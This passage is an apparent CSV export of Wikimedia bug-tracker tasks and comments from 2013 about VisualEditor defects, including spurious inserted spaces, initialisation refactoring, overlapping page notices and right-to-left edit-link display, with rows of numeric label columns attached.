+https://gerrit.wikimedia.org/r/73965",,,1373983741,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-l36v7qffhro3qiv5v3ya,task_subcomment,,True,c1,3,False,,,2,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+52636,Space inserted before link after single-character deletion,"From https://en.wikipedia.org/wiki/Wikipedia:VisualEditor/Feedback#VE_adding_spaces.2C_messing_with_citation_access-dates:
+
+I noticed something odd when using VisualEditor. I decided to use it when snooping around for various ""it's"" typos, for removing apostrophes seemed/is faster with VE than the old fashioned way. However, some of my edits seem to have done more than take out apostrophes. Seven times today ([http://en.wikipedia.org/w/index.php?title=Highcroft_Racing&diff=prev&oldid=562630195] [http://en.wikipedia.org/w/index.php?title=So_Emotional&diff=prev&oldid=562630132] [http://en.wikipedia.org/w/index.php?title=1988_in_British_television&diff=prev&oldid=562629968] [http://en.wikipedia.org/w/index.php?title=Olmaliq_FK&diff=prev&oldid=562629768] [http://en.wikipedia.org/w/index.php?title=FC_Jazz&diff=prev&oldid=562629613] [http://en.wikipedia.org/w/index.php?title=Brian_McDaniel&diff=prev&oldid=562629235] [http://en.wikipedia.org/w/index.php?title=Highlights_(band)&diff=prev&oldid=562629182]), VE added an extra space in a random place in the article (if it's hard to tell, on the last one it added the space right after ""its""). And then it altered references on [http://en.wikipedia.org/w/index.php?title=God_of_War_(series)&diff=prev&oldid=562631132 another], including changing access-dates. I don't think that's supposed to happen... [[User:Greengreengreenred|<font color=""#014421"">Green</font>]][[User talk:Greengreengreenred|<font color=""#50C878"">green</font>]][[Special:Contribs/Greengreengreenred|<font color=""#66FF00"">green</font>]]<font color=""red"">red</font> 02:25, 3 July 2013 (UTC)
+
+
+Might be a Parsoid bug based on selser tracing. There seems to be only a single space both in the original and the edited HTML.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",High,80.0,1372821780,1372829646.0,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,False,PHID-TASK-iqdlibipj4aozqzz2www,task_description,resolved,True,c1,3,True,False,True,0,,1,1,0,0,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,1,1,0,0,0,1,0,0,1,1,0,0,1,1,1,1,0,1,0,1,1,0,0,1,0,0,1,0,0,0,1,1,0,0,1,0,0,0,1,1,0,1,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,1,1,0,1,1,0,1
+251212,Space inserted before link after single-character deletion,"Change 71757 merged by jenkins-bot:
+Bug 50636: Don't extrapolate DSR on change
+
+https://gerrit.wikimedia.org/r/71757",,,1372829298,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-iqdlibipj4aozqzz2www,task_subcomment,,True,c1,3,False,,,0,,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+251208,Space inserted before link after single-character deletion,The space issue will be fixed with the above patch. The accessdate diff (http://en.wikipedia.org/w/index.php?title=God_of_War_(series)&diff=prev&oldid=562631132) is bug 50637.,,,1372828667,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-iqdlibipj4aozqzz2www,task_subcomment,,True,c1,3,True,,,0,,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+251202,Space inserted before link after single-character deletion,"Change 71757 had a related patch set uploaded by GWicke:
+Bug 50636: Don't extrapolate DSR on change
+
+https://gerrit.wikimedia.org/r/71757",,,1372825446,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-iqdlibipj4aozqzz2www,task_subcomment,,True,c1,3,False,,,0,,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+251196,Space inserted before link after single-character deletion,"In the accessdate example, the old markup is bad (duplicate accessdate); the second one apparently wins, which makes sense.  However, there don't seem to be any actual changes in that paragraph, so it ideally shouldn't be affected at all.",,,1372824675,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-iqdlibipj4aozqzz2www,task_subcomment,,True,c1,3,True,,,0,,1,0,0,1,1,1,1,0,0,0,1,1,0,0,1,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0,0
+251191,Space inserted before link after single-character deletion,"Offhand, without having investigated this, it seems like a DSR issue.",,,1372822249,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-iqdlibipj4aozqzz2www,task_subcomment,,True,c1,3,True,,,0,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,0
+251186,Space inserted before link after single-character deletion,"Relevant part of the selser trace (note the extra space):
+
+SS: "", an experimental racing car. The car was designed to reduce aerodynamic drag dramatically allowing for quicker straight and cornering speeds while using half as much power and half as much weight. Despite skepticism over the project, the DeltaWing made its debut at the ""
+SS: "" ""
+SS: ""[[2012 24 Hours of Le Mans]]""",,,1372822048,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-iqdlibipj4aozqzz2www,task_subcomment,,True,c1,3,True,,,0,,1,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,1,0,1,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,0,1,0,1,1,0,1
+52612,VisualEditor: Split mw.ViewPageTarget init from integration handling,"This doesn't mean that all of the integration needs to be independent (save dialog etc.) just the initialisation.
+
+It used to be that the integration was only initialisation (instantiate the editor with the html document to edit, basically only up to a dozen lines of code) but it has become much more than that.
+
+We need to separate integration and initialisation (initialisation will be part of the platform specific integration, but code-wise it should be the tip of the pyramid, not the bottom), so that our MediaWiki initialisation should be completely isolated so we can load it from the <head> and it will do only 2 things:
+
+1) Browser compatibility test (bug 50608)
+   - May depend on jQuery and a few plugins
+   - May not depend on any VE classes since those may break in our subset
+     of supported browsers (compared to MediaWiki/jQuery)
+
+   (if passed)
+2) Perform our changes to the interface to avoid flash of ""pre-init"" state
+   - Edit tab (bug 50542)
+   - Edit section links (bug 50540)
+   - Handle setup/teardown of VE from either clicking an ""Edit"" link
+     or by url query.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=50677",High,80.0,1372800600,1372894223.0,PHID-USER-sai77mtxmpqnm6pycyvz,False,,False,PHID-TASK-rwwvww3qvgi4ff4ivkf7,task_description,resolved,True,c1,3,True,False,True,0,,1,0,1,1,1,1,1,0,0,1,1,1,0,1,0,1,0,1,1,0,1,1,1,1,1,1,0,0,1,1,0,1,1,1,1,0,0,0,1,0,0,0,1,1,0,1,0,0,1,1,1,1,0,1,0,0,0,1,0,0,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,0,1,0,1,1,0,1
+249644,VisualEditor: Split mw.ViewPageTarget init from integration handling,This is now fixed (and deployed).,,,1372894223,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-rwwvww3qvgi4ff4ivkf7,task_subcomment,,True,c1,3,True,,,0,,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,1,1,0,1,0,0,0
+249642,VisualEditor: Split mw.ViewPageTarget init from integration handling,"Change 71929 merged by jenkins-bot:
+Split off setup from the rest of mw.ViewPageTarget
+
+https://gerrit.wikimedia.org/r/71929",,,1372894020,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-rwwvww3qvgi4ff4ivkf7,task_subcomment,,True,c1,3,False,,,0,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+249639,VisualEditor: Split mw.ViewPageTarget init from integration handling,"Change 71929 had a related patch set uploaded by Krinkle:
+Split off setup from the rest of mw.ViewPageTarget
+
+https://gerrit.wikimedia.org/r/71929",,,1372889781,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-rwwvww3qvgi4ff4ivkf7,task_subcomment,,True,c1,3,False,,,0,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+52608,VisualEditor: Browser compatibility test should not be done in the middle of init after (pre)loading all of core,"
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",High,80.0,1372798800,1372894193.0,PHID-USER-sai77mtxmpqnm6pycyvz,False,,False,PHID-TASK-pt2yvsftiewkmjm3j2nx,task_description,resolved,True,c1,3,True,False,True,0,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0
+249468,VisualEditor: Browser compatibility test should not be done in the middle of init after (pre)loading all of core,This is now fixed (and deployed).,,,1372894193,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-pt2yvsftiewkmjm3j2nx,task_subcomment,,True,c1,3,True,,,0,,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,1,1,0,1,0,0,0
+249462,VisualEditor: Browser compatibility test should not be done in the middle of init after (pre)loading all of core,"Change 71929 merged by jenkins-bot:
+Split off setup from the rest of mw.ViewPageTarget
+
+https://gerrit.wikimedia.org/r/71929",,,1372894014,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-pt2yvsftiewkmjm3j2nx,task_subcomment,,True,c1,3,False,,,0,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+249457,VisualEditor: Browser compatibility test should not be done in the middle of init after (pre)loading all of core,"Change 71929 had a related patch set uploaded by Krinkle:
+Split off setup from the rest of mw.ViewPageTarget
+
+https://gerrit.wikimedia.org/r/71929",,,1372889784,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-pt2yvsftiewkmjm3j2nx,task_subcomment,,True,c1,3,False,,,0,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+52565,VisualEditor: Language links do not take namespace into account,"Check page settings for https://en.wikipedia.org/wiki/User:John_of_Reading?veaction=edit - it's probably not necessary to have language linking for userspace, but if we're going to do it the ability to distinguish sandboxes from articles would be good.
+
+--------------------------
+**Version**: unspecified
+**Severity**: minor",High,80.0,1372756200,1381266333.0,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-l5hcose5p2erl7wolwnd,task_description,resolved,True,c1,3,False,False,False,0,,0,0,0,0,1,1,1,0,0,1,0,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,1,1,1,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,0,0
+246923,VisualEditor: Language links do not take namespace into account,"
+
+*** This bug has been marked as a duplicate of bug 49226 ***",,,1381266333,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-l5hcose5p2erl7wolwnd,task_subcomment,,True,c1,3,True,,,14,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+52545,VisualEditor: Page notices overlap dialogs,"**Author:** `Thehelpfulonewiki`
+
+**Description:**
+Page notice overlaps the close button on page settings
+
+I tried to edit Barack Obama using the Visual Editor. The page notice came up - which is fine - but then I clicked on the page settings without dimissing the page notice and wasn't able to dismiss the page notice. The page notice covers the close button so the only button I could press is ""apply changes"" to causes the page settings window to go away, allowing me to hide the page notice.
+
+I was told in #-visualeditor that you can click anywhere in the notice itself to dismiss it - something I didn't even consider doing because that's not standard behaviour for notifications (considering Facebook and even Echo). Please can we make the page notice dismissable by clicking on the ""1 notice"" area, even if you've got the page settings window up?
+
+See attached screenshot for an illustration of the problem.
+
+--------------------------
+**Version**: unspecified
+**Severity**: minor
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=49059
+
+**Attached**: {F11576}",High,80.0,1372730460,1372809200.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-geudhodnzjlx4dkfmnsc,task_description,resolved,True,c1,3,False,False,True,0,,0,1,0,1,1,1,1,1,0,1,1,1,0,1,0,1,0,1,1,1,1,0,0,0,1,0,0,1,1,0,1,1,1,1,0,1,0,1,0,1,0,0,0,1,0,1,1,0,0,1,1,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,1,1,0,1,1,1,1,1,1,0,0,0
+245977,VisualEditor: Page notices overlap dialogs,This problem is still reproducible with the link editor dialog.,,,1373940337,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-geudhodnzjlx4dkfmnsc,task_subcomment,,True,c1,3,False,,,2,,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0
+245971,VisualEditor: Page notices overlap dialogs,"This has now been fixed by Rob; marking as such. I hope we can deploy this to production soon, possibly tomorrow.",,,1372809200,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-geudhodnzjlx4dkfmnsc,task_subcomment,,True,c1,3,True,,,0,,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0
+52543,"VisualEditor: ""[edit | edit source]"" appears jumbled in RTL wiki with LTR interface","Inside an RTL wiki, if you set your interface to English (or any other LTR language) you will see that the '[edit | edit source]' links are jumbled.
+
+(Example: https://he.wikipedia.org/wiki/%D7%A4%D7%99%D7%96%D7%99%D7%A7%D7%94 - use English interface)
+
+This is probably again a case of bidi isolation. I can take a look at the code.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",High,80.0,1372726200,1372781960.0,PHID-USER-zq6nzfwxwkyliljd4lfy,False,,False,PHID-TASK-2q5s3rnh3ragcm43w2pm,task_description,resolved,True,c1,3,False,False,True,0,,1,0,0,1,0,1,0,0,0,1,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,1,0,1,0,0,0,0,1
+245883,"VisualEditor: ""[edit | edit source]"" appears jumbled in RTL wiki with LTR interface",Merged and will go out with the next deployment.,,,1372781960,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-2q5s3rnh3ragcm43w2pm,task_subcomment,,True,c1,3,True,,,0,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0
+245876,"VisualEditor: ""[edit | edit source]"" appears jumbled in RTL wiki with LTR interface","Change 71568 merged by jenkins-bot:
+Fix for edit links, RTL wikis with LTR interface
+
+https://gerrit.wikimedia.org/r/71568",,,1372781877,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-2q5s3rnh3ragcm43w2pm,task_subcomment,,True,c1,3,False,,,0,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+245871,"VisualEditor: ""[edit | edit source]"" appears jumbled in RTL wiki with LTR interface","Change 71568 had a related patch set uploaded by Mooeypoo:
+Fix for edit links, RTL wikis with LTR interface
+
+https://gerrit.wikimedia.org/r/71568",,,1372728163,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-2q5s3rnh3ragcm43w2pm,task_subcomment,,True,c1,3,False,,,0,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+52542,VisualEditor: Tab layout should be done from a top-loading module,"The ""Edit source"" tab loads/renders a little bit after the ""Edit"" tab, sometimes more noticeably so, sometimes less. Relatedly, clicking the ""Edit"" tab very early on sometimes invokes the wikitext editor. 
+
+It would be preferable for both tabs to be rendered simultaneously with the correct default behavior.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",High,80.0,1372725780,1375423118.0,PHID-USER-766idcqt4jkngnnuhnrj,False,,False,PHID-TASK-l5ckh63ssiggmz3slrqg,task_description,resolved,True,c1,3,False,False,True,0,,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,0,1,0,1,1,0,0
+245822,VisualEditor: Tab layout should be done from a top-loading module,"This is now done, and deployed.",,,1375423118,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-l5ckh63ssiggmz3slrqg,task_subcomment,,True,c1,3,True,,,4,,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,1,1,0,1,0,0,0
+245815,VisualEditor: Tab layout should be done from a top-loading module,"Change 77165 had a related patch set uploaded by Catrope:
+Move edit tab generation into PHP and make it more configurable
+
+https://gerrit.wikimedia.org/r/77165",,,1375414262,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-l5ckh63ssiggmz3slrqg,task_subcomment,,True,c1,3,False,,,4,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,0,1,0,0,1,0,0
+245810,VisualEditor: Tab layout should be done from a top-loading module,"(In reply to comment #10)
+> Change 71929 merged by jenkins-bot:
+> Split off setup from the rest of mw.ViewPageTarget
+> 
+> https://gerrit.wikimedia.org/r/71929
+This introduces a top-loading module, but still does the tab layout from document ready, which means there's probably still is a flash. What we should really do is change the HTML from PHP, per comment 8.",,,1372894234,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-l5ckh63ssiggmz3slrqg,task_subcomment,,True,c1,3,False,,,0,,0,0,0,0,0,1,1,0,0,0,1,1,0,0,1,1,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,1,1,1,0,1,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,1,1,1,0,0,0,0,1
+245805,VisualEditor: Tab layout should be done from a top-loading module,"Change 71929 merged by jenkins-bot:
+Split off setup from the rest of mw.ViewPageTarget
+
+https://gerrit.wikimedia.org/r/71929",,,1372894017,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-l5ckh63ssiggmz3slrqg,task_subcomment,,True,c1,3,False,,,0,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+245800,VisualEditor: Tab layout should be done from a top-loading module,"Change 71929 had a related patch set uploaded by Krinkle:
+Split off setup from the rest of mw.ViewPageTarget
+
+https://gerrit.wikimedia.org/r/71929",,,1372889786,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-l5ckh63ssiggmz3slrqg,task_subcomment,,True,c1,3,False,,,0,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+245792,VisualEditor: Tab layout should be done from a top-loading module,"Ideally we'd alter the HTML using a PHP hook, then have a top-loading module that just conditionally adds some CSS to make the HTML generated by the PHP hook display correctly. That should allow us to get rid of the flashing tab behavior.",,,1372883412,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-l5ckh63ssiggmz3slrqg,task_subcomment,,True,c1,3,False,,,0,,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,1,1,0,1,1,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,1,1,0,0,0
+245787,VisualEditor: Tab layout should be done from a top-loading module,"(In reply to comment #6)
+> Shouldn't blacklisting occur much earlier (before actually messing around
+> with any buttons at all?). Before having done *anything* actually?
+> 
+> I'm hoping for a definite answer by James (or another dev involved).
+
+Yes; that's bug 50608. We're re-working a whole bunch of items around the initialisation and integration code for VisualEditor right now - bug 50612 tracks that.",,,1372883259,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-l5ckh63ssiggmz3slrqg,task_subcomment,,True,c1,3,True,,,0,,1,1,0,0,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,1,1,1,0,0,0,1,0,1,0,0,0,1,1,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,1,1,1,1,0,1,1,1,1,0,0,1,0,0,1,0,1,1,0,1
+245782,VisualEditor: Tab layout should be done from a top-loading module,"Shouldn't blacklisting occur much earlier (before actually messing around with any buttons at all?). Before having done *anything* actually?
+
+I'm hoping for a definite answer by James (or another dev involved).",,,1372860735,,PHID-USER-v3yn5qf233ggnnnmvejc,False,,,PHID-TASK-l5ckh63ssiggmz3slrqg,task_subcomment,,True,c1,3,False,,,0,,1,1,0,0,1,1,0,0,0,0,0,1,0,0,0,1,0,1,1,1,0,1,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,0,0,1,1,1,1,0,0,1,0,0,1,0,1,1,0,0
+245778,VisualEditor: Tab layout should be done from a top-loading module,"**pinkampersand.wikimedia** wrote:
+
+(In reply to comment #4)
+
+> What do you mean by ""we display:none the former if the user doesn't pass the
+> blacklist code""? What is the ""blacklist code""?
+
+I believe James is referring to the part of VE that checks a user's browser and compares it against a ""blacklist"" of non-supported browsers. ""display:none""-ing the VE edit tab thereby stops people from using VE if their browser's not going to let them.
+
+One of y'all devs can correct me if I'm wrong here.",,,1372852109,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-l5ckh63ssiggmz3slrqg,task_subcomment,,True,c1,3,False,,,0,,1,0,0,0,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,1,1,0,0,0,1,0,0,0,1,0,0,1,1,1,1,1,0,0,1,0,0,1,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,1,0,1,0,1,1,1,1,0,0,1
+245773,VisualEditor: Tab layout should be done from a top-loading module,"Sounds good. This could also fix bug 50402 at the same time I think?
+
